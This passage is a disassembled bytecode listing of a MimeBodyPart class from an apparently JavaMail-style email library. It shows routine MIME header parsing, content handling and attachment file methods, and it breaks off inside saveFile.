00000006 iput-object p1, p0, MimeBodyPart->headers:InternetHeaders
0000000A iput-object p2, p0, MimeBodyPart->content:[B
0000000E return-void
.end method
.method static getContentLanguage(MimePart)[String
.registers 7
00000000 const/4 v0, 0x0
00000002 const-string v1, "Content-Language"
00000006 invoke-interface MimePart->getHeader(String, String)String, p0, v1, v0
0000000C move-result-object v1
0000000E if-nez v1, :14
:12
00000012 return-object v0
:14
00000014 new-instance v2, HeaderTokenizer
00000018 const-string v3, "()<>@,;:\\\"\t []/?="
0000001C invoke-direct HeaderTokenizer-><init>(String, String)V, v2, v1, v3
00000022 new-instance v1, Vector
00000026 invoke-direct Vector-><init>()V, v1
:2C
0000002C invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v2
00000032 move-result-object v3
00000034 invoke-virtual HeaderTokenizer$Token->getType()I, v3
0000003A move-result v4
0000003C const/4 v5, 0xFFFFFFFFFFFFFFFC
0000003E if-ne v4, v5, :62
:42
00000042 invoke-virtual Vector->size()I, v1
00000048 move-result v2
0000004A if-eqz v2, :12
:4E
0000004E invoke-virtual Vector->size()I, v1
00000054 move-result v0
00000056 new-array v0, v0, [String
0000005A invoke-virtual Vector->copyInto([Object)V, v1, v0
00000060 goto :12
:62
00000062 const/4 v5, 0xFFFFFFFFFFFFFFFF
00000064 if-ne v4, v5, :2C
:68
00000068 invoke-virtual HeaderTokenizer$Token->getValue()String, v3
0000006E move-result-object v3
00000070 invoke-virtual Vector->addElement(Object)V, v1, v3
00000076 goto :2C
.end method
.method static getDescription(MimePart)String
.registers 3
00000000 const/4 v0, 0x0
00000002 const-string v1, "Content-Description"
00000006 invoke-interface MimePart->getHeader(String, String)String, p0, v1, v0
0000000C move-result-object v1
0000000E if-nez v1, :14
:12
00000012 return-object v0
:14
00000014 invoke-static MimeUtility->unfold(String)String, v1
0000001A move-result-object v0
0000001C invoke-static MimeUtility->decodeText(String)String, v0
:22
00000022 move-result-object v0
00000024 goto :12
:26
00000026 move-exception v0
00000028 move-object v0, v1
0000002A goto :12
.catch UnsupportedEncodingException {:14 .. :22} :26
.end method
.method static getDisposition(MimePart)String
.registers 3
00000000 const/4 v0, 0x0
00000002 const-string v1, "Content-Disposition"
00000006 invoke-interface MimePart->getHeader(String, String)String, p0, v1, v0
0000000C move-result-object v1
0000000E if-nez v1, :14
:12
00000012 return-object v0
:14
00000014 new-instance v0, ContentDisposition
00000018 invoke-direct ContentDisposition-><init>(String)V, v0, v1
0000001E invoke-virtual ContentDisposition->getDisposition()String, v0
00000024 move-result-object v0
00000026 goto :12
.end method
.method static getEncoding(MimePart)String
.registers 6
00000000 const/4 v0, 0x0
00000002 const-string v1, "Content-Transfer-Encoding"
00000006 invoke-interface MimePart->getHeader(String, String)String, p0, v1, v0
0000000C move-result-object v1
0000000E if-nez v1, :14
:12
00000012 return-object v0
:14
00000014 invoke-virtual String->trim()String, v1
0000001A move-result-object v0
0000001C const-string v1, "7bit"
00000020 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000026 move-result v1
00000028 if-nez v1, :12
:2C
0000002C const-string v1, "8bit"
00000030 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000036 move-result v1
00000038 if-nez v1, :12
:3C
0000003C const-string v1, "quoted-printable"
00000040 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000046 move-result v1
00000048 if-nez v1, :12
:4C
0000004C const-string v1, "binary"
00000050 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000056 move-result v1
00000058 if-nez v1, :12
:5C
0000005C const-string v1, "base64"
00000060 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000066 move-result v1
00000068 if-nez v1, :12
:6C
0000006C new-instance v1, HeaderTokenizer
00000070 const-string v2, "()<>@,;:\\\"\t []/?="
00000074 invoke-direct HeaderTokenizer-><init>(String, String)V, v1, v0, v2
:7A
0000007A invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v1
00000080 move-result-object v2
00000082 invoke-virtual HeaderTokenizer$Token->getType()I, v2
00000088 move-result v3
0000008A const/4 v4, 0xFFFFFFFFFFFFFFFC
0000008C if-eq v3, v4, :12
:90
00000090 const/4 v4, 0xFFFFFFFFFFFFFFFF
00000092 if-ne v3, v4, :7A
:96
00000096 invoke-virtual HeaderTokenizer$Token->getValue()String, v2
0000009C move-result-object v0
0000009E goto :12
.end method
.method static getFileName(MimePart)String
.registers 4
00000000 const/4 v1, 0x0
00000002 const-string v0, "Content-Disposition"
00000006 invoke-interface MimePart->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E if-eqz v0, :7E
:12
00000012 new-instance v2, ContentDisposition
00000016 invoke-direct ContentDisposition-><init>(String)V, v2, v0
0000001C const-string v0, "filename"
00000020 invoke-virtual ContentDisposition->getParameter(String)String, v2, v0
00000026 move-result-object v0
:28
00000028 if-nez v0, :52
:2C
0000002C const-string v2, "Content-Type"
00000030 invoke-interface MimePart->getHeader(String, String)String, p0, v2, v1
00000036 move-result-object v1
00000038 if-eqz v1, :52
:3C
0000003C new-instance v2, ContentType
00000040 invoke-direct ContentType-><init>(String)V, v2, v1
00000046 const-string v1, "name"
0000004A invoke-virtual ContentType->getParameter(String)String, v2, v1
:50
00000050 move-result-object v0
:52
00000052 sget-boolean v1, MimeBodyPart->decodeFileName:Z
00000056 if-eqz v1, :66
:5A
0000005A if-eqz v0, :66
:5E
0000005E invoke-static MimeUtility->decodeText(String)String, v0
:64
00000064 move-result-object v0
:66
00000066 return-object v0
:68
00000068 move-exception v0
0000006A new-instance v1, MessagingException
0000006E const-string v2, "Can\'t decode filename"
00000072 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000078 throw v1
:7A
0000007A move-exception v1
0000007C goto :52
:7E
0000007E move-object v0, v1
00000080 goto :28
.catch ParseException {:3C .. :50} :7A
.catch UnsupportedEncodingException {:5E .. :64} :68
.end method
.method static invalidateContentHeaders(MimePart)V
.registers 2
00000000 const-string v0, "Content-Type"
00000004 invoke-interface MimePart->removeHeader(String)V, p0, v0
0000000A const-string v0, "Content-Transfer-Encoding"
0000000E invoke-interface MimePart->removeHeader(String)V, p0, v0
00000014 return-void
.end method
.method static isMimeType(MimePart, String)Z
.registers 4
00000000 new-instance v0, ContentType
00000004 invoke-interface MimePart->getContentType()String, p0
0000000A move-result-object v1
0000000C invoke-direct ContentType-><init>(String)V, v0, v1
00000012 invoke-virtual ContentType->match(String)Z, v0, p1
:18
00000018 move-result v0
:1A
0000001A return v0
:1C
0000001C move-exception v0
0000001E invoke-interface MimePart->getContentType()String, p0
00000024 move-result-object v0
00000026 invoke-virtual String->equalsIgnoreCase(String)Z, v0, p1
0000002C move-result v0
0000002E goto :1A
.catch ParseException {:0 .. :18} :1C
.end method
.method static setContentLanguage(MimePart, [String)V
.registers 6
00000000 new-instance v1, StringBuffer
00000004 const/4 v0, 0x0
00000006 aget-object v0, p1, v0
0000000A invoke-direct StringBuffer-><init>(String)V, v1, v0
00000010 const/4 v0, 0x1
:12
00000012 array-length v2, p1
00000014 if-lt v0, v2, :2C
:18
00000018 const-string v0, "Content-Language"
0000001C invoke-virtual StringBuffer->toString()String, v1
00000022 move-result-object v1
00000024 invoke-interface MimePart->setHeader(String, String)V, p0, v0, v1
0000002A return-void
:2C
0000002C const/16 v2, 0x2C
00000030 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
00000036 move-result-object v2
00000038 aget-object v3, p1, v0
0000003C invoke-virtual StringBuffer->append(String)StringBuffer, v2, v3
00000042 add-int/lit8 v0, v0, 0x1
00000046 goto :12
.end method
.method static setDescription(MimePart, String, String)V
.registers 6
00000000 if-nez p1, :10
:4
00000004 const-string v0, "Content-Description"
00000008 invoke-interface MimePart->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 const-string v0, "Content-Description"
00000014 const/16 v1, 0x15
00000018 const/4 v2, 0x0
0000001A invoke-static MimeUtility->encodeText(String, String, String)String, p1, p2, v2
00000020 move-result-object v2
00000022 invoke-static MimeUtility->fold(I, String)String, v1, v2
00000028 move-result-object v1
0000002A invoke-interface MimePart->setHeader(String, String)V, p0, v0, v1
:30
00000030 goto :E
:32
00000032 move-exception v0
00000034 new-instance v1, MessagingException
00000038 const-string v2, "Encoding error"
0000003C invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000042 throw v1
.catch UnsupportedEncodingException {:10 .. :30} :32
.end method
.method static setDisposition(MimePart, String)V
.registers 4
00000000 if-nez p1, :10
:4
00000004 const-string v0, "Content-Disposition"
00000008 invoke-interface MimePart->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 const-string v0, "Content-Disposition"
00000014 const/4 v1, 0x0
00000016 invoke-interface MimePart->getHeader(String, String)String, p0, v0, v1
0000001C move-result-object v0
0000001E if-eqz v0, :3A
:22
00000022 new-instance v1, ContentDisposition
00000026 invoke-direct ContentDisposition-><init>(String)V, v1, v0
0000002C invoke-virtual ContentDisposition->setDisposition(String)V, v1, p1
00000032 invoke-virtual ContentDisposition->toString()String, v1
00000038 move-result-object p1
:3A
0000003A const-string v0, "Content-Disposition"
0000003E invoke-interface MimePart->setHeader(String, String)V, p0, v0, p1
00000044 goto :E
.end method
.method static setEncoding(MimePart, String)V
.registers 3
00000000 const-string v0, "Content-Transfer-Encoding"
00000004 invoke-interface MimePart->setHeader(String, String)V, p0, v0, p1
0000000A return-void
.end method
.method static setFileName(MimePart, String)V
.registers 5
00000000 const/4 v2, 0x0
00000002 sget-boolean v0, MimeBodyPart->encodeFileName:Z
00000006 if-eqz v0, :16
:A
0000000A if-eqz p1, :16
:E
0000000E invoke-static MimeUtility->encodeText(String)String, p1
:14
00000014 move-result-object p1
:16
00000016 const-string v0, "Content-Disposition"
0000001A invoke-interface MimePart->getHeader(String, String)String, p0, v0, v2
00000020 move-result-object v0
00000022 new-instance v1, ContentDisposition
00000026 if-nez v0, :2E
:2A
0000002A const-string v0, "attachment"
:2E
0000002E invoke-direct ContentDisposition-><init>(String)V, v1, v0
00000034 const-string v0, "filename"
00000038 invoke-virtual ContentDisposition->setParameter(String, String)V, v1, v0, p1
0000003E const-string v0, "Content-Disposition"
00000042 invoke-virtual ContentDisposition->toString()String, v1
00000048 move-result-object v1
0000004A invoke-interface MimePart->setHeader(String, String)V, p0, v0, v1
00000050 sget-boolean v0, MimeBodyPart->setContentTypeFileName:Z
00000054 if-eqz v0, :8E
:58
00000058 const-string v0, "Content-Type"
0000005C invoke-interface MimePart->getHeader(String, String)String, p0, v0, v2
00000062 move-result-object v0
00000064 if-eqz v0, :8E
:68
00000068 new-instance v1, ContentType
0000006C invoke-direct ContentType-><init>(String)V, v1, v0
00000072 const-string v0, "name"
00000076 invoke-virtual ContentType->setParameter(String, String)V, v1, v0, p1
0000007C const-string v0, "Content-Type"
00000080 invoke-virtual ContentType->toString()String, v1
00000086 move-result-object v1
00000088 invoke-interface MimePart->setHeader(String, String)V, p0, v0, v1
:8E
0000008E return-void
:90
00000090 move-exception v0
00000092 new-instance v1, MessagingException
00000096 const-string v2, "Can\'t encode filename"
0000009A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000A0 throw v1
:A2
000000A2 move-exception v0
000000A4 goto :8E
.catch UnsupportedEncodingException {:E .. :14} :90
.catch ParseException {:68 .. :8E} :A2
.end method
.method static setText(MimePart, String, String, String)V
.registers 6
00000000 if-nez p2, :1A
:4
00000004 invoke-static MimeUtility->checkAscii(String)I, p1
0000000A move-result v0
0000000C const/4 v1, 0x1
0000000E if-eq v0, v1, :60
:12
00000012 invoke-static MimeUtility->getDefaultMIMECharset()String
00000018 move-result-object p2
:1A
0000001A new-instance v0, StringBuilder
0000001E const-string v1, "text/"
00000022 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000028 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
0000002E move-result-object v0
00000030 const-string v1, "; charset="
00000034 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003A move-result-object v0
0000003C const-string v1, "()<>@,;:\\\"\t []/?="
00000040 invoke-static MimeUtility->quote(String, String)String, p2, v1
00000046 move-result-object v1
00000048 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000004E move-result-object v0
00000050 invoke-virtual StringBuilder->toString()String, v0
00000056 move-result-object v0
00000058 invoke-interface MimePart->setContent(Object, String)V, p0, p1, v0
0000005E return-void
:60
00000060 const-string p2, "us-ascii"
00000064 goto :1A
.end method
.method static updateHeaders(MimePart)V
.registers 9
00000000 const/4 v1, 0x0
00000002 const/4 v3, 0x1
00000004 invoke-interface MimePart->getDataHandler()DataHandler, p0
0000000A move-result-object v5
0000000C if-nez v5, :12
:10
00000010 return-void
:12
00000012 invoke-virtual DataHandler->getContentType()String, v5
00000018 move-result-object v2
0000001A const-string v4, "Content-Type"
0000001E invoke-interface MimePart->getHeader(String)[String, p0, v4
00000024 move-result-object v4
00000026 if-nez v4, :158
:2A
0000002A move v4, v3
:2C
0000002C new-instance v6, ContentType
00000030 invoke-direct ContentType-><init>(String)V, v6, v2
00000036 const-string v7, "multipart/*"
0000003A invoke-virtual ContentType->match(String)Z, v6, v7
00000040 move-result v7
00000042 if-eqz v7, :1FC
:46
00000046 instance-of v1, p0, MimeBodyPart
0000004A if-eqz v1, :16A
:4E
0000004E move-object v0, p0
00000050 check-cast v0, MimeBodyPart
00000054 move-object v1, v0
00000056 iget-object v7, v1, MimeBodyPart->cachedContent:Object
0000005A if-eqz v7, :15E
:5E
0000005E iget-object v1, v1, MimeBodyPart->cachedContent:Object
:62
00000062 instance-of v7, v1, MimeMultipart
00000066 if-eqz v7, :1A2
:6A
0000006A check-cast v1, MimeMultipart
0000006E invoke-virtual MimeMultipart->updateHeaders()V, v1
00000074 move v1, v3
:76
00000076 if-nez v1, :21E
:7A
0000007A const-string v1, "Content-Transfer-Encoding"
0000007E invoke-interface MimePart->getHeader(String)[String, p0, v1
00000084 move-result-object v1
00000086 if-nez v1, :98
:8A
0000008A invoke-static MimeUtility->getEncoding(DataHandler)String, v5
00000090 move-result-object v1
00000092 invoke-static MimeBodyPart->setEncoding(MimePart, String)V, p0, v1
:98
00000098 if-eqz v4, :21E
:9C
0000009C sget-boolean v1, MimeBodyPart->setDefaultTextCharset:Z
000000A0 if-eqz v1, :21E
:A4
000000A4 const-string v1, "text/*"
000000A8 invoke-virtual ContentType->match(String)Z, v6, v1
000000AE move-result v1
000000B0 if-eqz v1, :21E
:B4
000000B4 const-string v1, "charset"
000000B8 invoke-virtual ContentType->getParameter(String)String, v6, v1
000000BE move-result-object v1
000000C0 if-nez v1, :21E
:C4
000000C4 invoke-interface MimePart->getEncoding()String, p0
000000CA move-result-object v1
000000CC if-eqz v1, :212
:D0
000000D0 const-string v2, "7bit"
000000D4 invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
000000DA move-result v1
000000DC if-eqz v1, :212
:E0
000000E0 const-string v1, "us-ascii"
:E4
000000E4 const-string v2, "charset"
000000E8 invoke-virtual ContentType->setParameter(String, String)V, v6, v2, v1
000000EE invoke-virtual ContentType->toString()String, v6
000000F4 move-result-object v1
:F6
000000F6 if-eqz v4, :10
:FA
000000FA const-string v2, "Content-Disposition"
000000FE const/4 v3, 0x0
00000100 invoke-interface MimePart->getHeader(String, String)String, p0, v2, v3
00000106 move-result-object v2
00000108 if-eqz v2, :138
:10C
0000010C new-instance v3, ContentDisposition
00000110 invoke-direct ContentDisposition-><init>(String)V, v3, v2
00000116 const-string v2, "filename"
0000011A invoke-virtual ContentDisposition->getParameter(String)String, v3, v2
00000120 move-result-object v2
00000122 if-eqz v2, :138
:126
00000126 const-string v1, "name"
0000012A invoke-virtual ContentType->setParameter(String, String)V, v6, v1, v2
00000130 invoke-virtual ContentType->toString()String, v6
00000136 move-result-object v1
:138
00000138 const-string v2, "Content-Type"
0000013C invoke-interface MimePart->setHeader(String, String)V, p0, v2, v1
:142
00000142 goto/16 :10
:146
00000146 move-exception v1
00000148 new-instance v2, MessagingException
0000014C const-string v3, "IOException updating headers"
00000150 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v1
00000156 throw v2
:158
00000158 move v4, v1
0000015A goto/16 :2C
:15E
0000015E invoke-virtual DataHandler->getContent()Object, v5
00000164 move-result-object v1
00000166 goto/16 :62
:16A
0000016A instance-of v1, p0, MimeMessage
0000016E if-eqz v1, :196
:172
00000172 move-object v0, p0
00000174 check-cast v0, MimeMessage
00000178 move-object v1, v0
0000017A iget-object v7, v1, MimeMessage->cachedContent:Object
0000017E if-eqz v7, :18A
:182
00000182 iget-object v1, v1, MimeMessage->cachedContent:Object
00000186 goto/16 :62
:18A
0000018A invoke-virtual DataHandler->getContent()Object, v5
00000190 move-result-object v1
00000192 goto/16 :62
:196
00000196 invoke-virtual DataHandler->getContent()Object, v5
0000019C move-result-object v1
0000019E goto/16 :62
:1A2
000001A2 new-instance v3, MessagingException
000001A6 new-instance v4, StringBuilder
000001AA const-string v5, "MIME part of type \""
000001AE invoke-direct StringBuilder-><init>(String)V, v4, v5
000001B4 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v2
000001BA move-result-object v2
000001BC const-string v4, "\" contains object of type "
000001C0 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v4
000001C6 move-result-object v2
000001C8 invoke-virtual Object->getClass()Class, v1
000001CE move-result-object v1
000001D0 invoke-virtual Class->getName()String, v1
000001D6 move-result-object v1
000001D8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000001DE move-result-object v1
000001E0 const-string v2, " instead of MimeMultipart"
000001E4 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000001EA move-result-object v1
000001EC invoke-virtual StringBuilder->toString()String, v1
000001F2 move-result-object v1
000001F4 invoke-direct MessagingException-><init>(String)V, v3, v1
000001FA throw v3
:1FC
000001FC const-string v7, "message/rfc822"
00000200 invoke-virtual ContentType->match(String)Z, v6, v7
00000206 move-result v7
00000208 if-eqz v7, :76
:20C
0000020C move v1, v3
0000020E goto/16 :76
:212
00000212 invoke-static MimeUtility->getDefaultMIMECharset()String
:218
00000218 move-result-object v1
0000021A goto/16 :E4
:21E
0000021E move-object v1, v2
00000220 goto/16 :F6
.catch IOException {:12 .. :142} :146
.catch IOException {:15E .. :218} :146
.end method
.method static writeTo(MimePart, OutputStream, [String)V
.registers 6
00000000 instance-of v0, p1, LineOutputStream
00000004 if-eqz v0, :50
:8
00000008 move-object v0, p1
0000000A check-cast v0, LineOutputStream
0000000E move-object v1, v0
:10
00000010 invoke-interface MimePart->getNonMatchingHeaderLines([String)Enumeration, p0, p2
00000016 move-result-object v2
:18
00000018 invoke-interface Enumeration->hasMoreElements()Z, v2
0000001E move-result v0
00000020 if-nez v0, :5E
:24
00000024 invoke-virtual LineOutputStream->writeln()V, v1
0000002A invoke-interface MimePart->getEncoding()String, p0
00000030 move-result-object v0
00000032 invoke-static MimeUtility->encode(OutputStream, String)OutputStream, p1, v0
00000038 move-result-object v0
0000003A invoke-interface MimePart->getDataHandler()DataHandler, p0
00000040 move-result-object v1
00000042 invoke-virtual DataHandler->writeTo(OutputStream)V, v1, v0
00000048 invoke-virtual OutputStream->flush()V, v0
0000004E return-void
:50
00000050 new-instance v0, LineOutputStream
00000054 invoke-direct LineOutputStream-><init>(OutputStream)V, v0, p1
0000005A move-object v1, v0
0000005C goto :10
:5E
0000005E invoke-interface Enumeration->nextElement()Object, v2
00000064 move-result-object v0
00000066 check-cast v0, String
0000006A invoke-virtual LineOutputStream->writeln(String)V, v1, v0
00000070 goto :18
.end method
.method public addHeader(String, String)V
.registers 4
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->addHeader(String, String)V, v0, p1, p2
0000000A return-void
.end method
.method public addHeaderLine(String)V
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->addHeaderLine(String)V, v0, p1
0000000A return-void
.end method
.method public attachFile(File)V
.registers 4
00000000 new-instance v0, FileDataSource
00000004 invoke-direct FileDataSource-><init>(File)V, v0, p1
0000000A new-instance v1, DataHandler
0000000E invoke-direct DataHandler-><init>(DataSource)V, v1, v0
00000014 invoke-virtual MimeBodyPart->setDataHandler(DataHandler)V, p0, v1
0000001A invoke-virtual FileDataSource->getName()String, v0
00000020 move-result-object v0
00000022 invoke-virtual MimeBodyPart->setFileName(String)V, p0, v0
00000028 return-void
.end method
.method public attachFile(String)V
.registers 3
00000000 new-instance v0, File
00000004 invoke-direct File-><init>(String)V, v0, p1
0000000A invoke-virtual MimeBodyPart->attachFile(File)V, p0, v0
00000010 return-void
.end method
.method public getAllHeaderLines()Enumeration
.registers 2
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getAllHeaderLines()Enumeration, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getAllHeaders()Enumeration
.registers 2
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getAllHeaders()Enumeration, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getContent()Object
.registers 4
00000000 iget-object v0, p0, MimeBodyPart->cachedContent:Object
00000004 if-eqz v0, :E
:8
00000008 iget-object v0, p0, MimeBodyPart->cachedContent:Object
:C
0000000C return-object v0
:E
0000000E invoke-virtual MimeBodyPart->getDataHandler()DataHandler, p0
00000014 move-result-object v0
00000016 invoke-virtual DataHandler->getContent()Object, v0
:1C
0000001C move-result-object v0
0000001E sget-boolean v1, MimeBodyPart->cacheMultipart:Z
00000022 if-eqz v1, :C
:26
00000026 instance-of v1, v0, Multipart
0000002A if-nez v1, :36
:2E
0000002E instance-of v1, v0, Message
00000032 if-eqz v1, :C
:36
00000036 iget-object v1, p0, MimeBodyPart->content:[B
0000003A if-nez v1, :46
:3E
0000003E iget-object v1, p0, MimeBodyPart->contentStream:InputStream
00000042 if-eqz v1, :C
:46
00000046 iput-object v0, p0, MimeBodyPart->cachedContent:Object
0000004A goto :C
:4C
0000004C move-exception v0
0000004E new-instance v1, FolderClosedException
00000052 invoke-virtual FolderClosedIOException->getFolder()Folder, v0
00000058 move-result-object v2
0000005A invoke-virtual FolderClosedIOException->getMessage()String, v0
00000060 move-result-object v0
00000062 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000068 throw v1
:6A
0000006A move-exception v0
0000006C new-instance v1, MessageRemovedException
00000070 invoke-virtual MessageRemovedIOException->getMessage()String, v0
00000076 move-result-object v0
00000078 invoke-direct MessageRemovedException-><init>(String)V, v1, v0
0000007E throw v1
.catch FolderClosedIOException {:E .. :1C} :4C
.catch MessageRemovedIOException {:E .. :1C} :6A
.end method
.method public getContentID()String
.registers 3
00000000 const-string v0, "Content-Id"
00000004 const/4 v1, 0x0
00000006 invoke-virtual MimeBodyPart->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getContentLanguage()[String
.registers 2
00000000 invoke-static MimeBodyPart->getContentLanguage(MimePart)[String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getContentMD5()String
.registers 3
00000000 const-string v0, "Content-MD5"
00000004 const/4 v1, 0x0
00000006 invoke-virtual MimeBodyPart->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method protected getContentStream()InputStream
.registers 6
00000000 iget-object v0, p0, MimeBodyPart->contentStream:InputStream
00000004 if-eqz v0, :22
:8
00000008 iget-object v0, p0, MimeBodyPart->contentStream:InputStream
0000000C check-cast v0, SharedInputStream
00000010 const-wide/16 v1, 0x0
00000014 const-wide/16 v3, 0xFFFFFFFFFFFFFFFF
00000018 invoke-interface SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
0000001E move-result-object v0
:20
00000020 return-object v0
:22
00000022 iget-object v0, p0, MimeBodyPart->content:[B
00000026 if-eqz v0, :3A
:2A
0000002A new-instance v0, ByteArrayInputStream
0000002E iget-object v1, p0, MimeBodyPart->content:[B
00000032 invoke-direct ByteArrayInputStream-><init>([B)V, v0, v1
00000038 goto :20
:3A
0000003A new-instance v0, MessagingException
0000003E const-string v1, "No content"
00000042 invoke-direct MessagingException-><init>(String)V, v0, v1
00000048 throw v0
.end method
.method public getContentType()String
.registers 3
00000000 const-string v0, "Content-Type"
00000004 const/4 v1, 0x0
00000006 invoke-virtual MimeBodyPart->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E if-nez v0, :16
:12
00000012 const-string v0, "text/plain"
:16
00000016 return-object v0
.end method
.method public getDataHandler()DataHandler
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->dh:DataHandler
00000004 if-nez v0, :20
:8
00000008 new-instance v0, DataHandler
0000000C new-instance v1, MimePartDataSource
00000010 invoke-direct MimePartDataSource-><init>(MimePart)V, v1, p0
00000016 invoke-direct DataHandler-><init>(DataSource)V, v0, v1
0000001C iput-object v0, p0, MimeBodyPart->dh:DataHandler
:20
00000020 iget-object v0, p0, MimeBodyPart->dh:DataHandler
00000024 return-object v0
.end method
.method public getDescription()String
.registers 2
00000000 invoke-static MimeBodyPart->getDescription(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getDisposition()String
.registers 2
00000000 invoke-static MimeBodyPart->getDisposition(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getEncoding()String
.registers 2
00000000 invoke-static MimeBodyPart->getEncoding(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getFileName()String
.registers 2
00000000 invoke-static MimeBodyPart->getFileName(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getHeader(String, String)String
.registers 4
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getHeader(String, String)String, v0, p1, p2
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getHeader(String)[String
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getHeader(String)[String, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getInputStream()InputStream
.registers 2
00000000 invoke-virtual MimeBodyPart->getDataHandler()DataHandler, p0
00000006 move-result-object v0
00000008 invoke-virtual DataHandler->getInputStream()InputStream, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
.method public getLineCount()I
.registers 2
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 return v0
.end method
.method public getMatchingHeaderLines([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getMatchingHeaderLines([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getMatchingHeaders([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getMatchingHeaders([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getNonMatchingHeaderLines([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getNonMatchingHeaders([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getNonMatchingHeaders([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getRawInputStream()InputStream
.registers 2
00000000 invoke-virtual MimeBodyPart->getContentStream()InputStream, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getSize()I
.registers 2
00000000 iget-object v0, p0, MimeBodyPart->content:[B
00000004 if-eqz v0, :10
:8
00000008 iget-object v0, p0, MimeBodyPart->content:[B
0000000C array-length v0, v0
:E
0000000E return v0
:10
00000010 iget-object v0, p0, MimeBodyPart->contentStream:InputStream
00000014 if-eqz v0, :28
:18
00000018 iget-object v0, p0, MimeBodyPart->contentStream:InputStream
0000001C invoke-virtual InputStream->available()I, v0
:22
00000022 move-result v0
00000024 if-gtz v0, :E
:28
00000028 const/4 v0, 0xFFFFFFFFFFFFFFFF
0000002A goto :E
:2C
0000002C move-exception v0
0000002E goto :28
.catch IOException {:18 .. :22} :2C
.end method
.method public isMimeType(String)Z
.registers 3
00000000 invoke-static MimeBodyPart->isMimeType(MimePart, String)Z, p0, p1
00000006 move-result v0
00000008 return v0
.end method
.method public removeHeader(String)V
.registers 3
00000000 iget-object v0, p0, MimeBodyPart->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->removeHeader(String)V, v0, p1
0000000A return-void
.end method
.method public saveFile(File)V
.registers 7
00000000 const/4 v1, 0x0
:2
00000002 new-instance v2, BufferedOutputStream
00000006 new-instance v0, FileOutputStream
0000000A invoke-direct FileOutputStream-><init>(File)V, v0, p1
00000010 invoke-direct BufferedOutputStream-><init>(OutputStream)V, v2, v0
:16
00000016 invoke-virtual MimeBodyPart->getInputStream()InputStream, p0
0000001C move-result-object v1
0000001E const/16 v0, 0x2000
00000022 new-array v0, v0, [B
:26
00000026 invoke-virtual InputStream->read([B)I, v1, v0
:2C
0000002C move-result v3
0000002E if-gtz v3, :48
:32
00000032 if-eqz v1, :3C
:36
00000036 invoke-virtual InputStream->close()V, v1
:3C
0000003C if-eqz v2, :46
:40
00000040 invoke-virtual OutputStream->close()V, v2
:46
00000046 return-void
:48
00000048 const/4 v4, 0x0
:4A
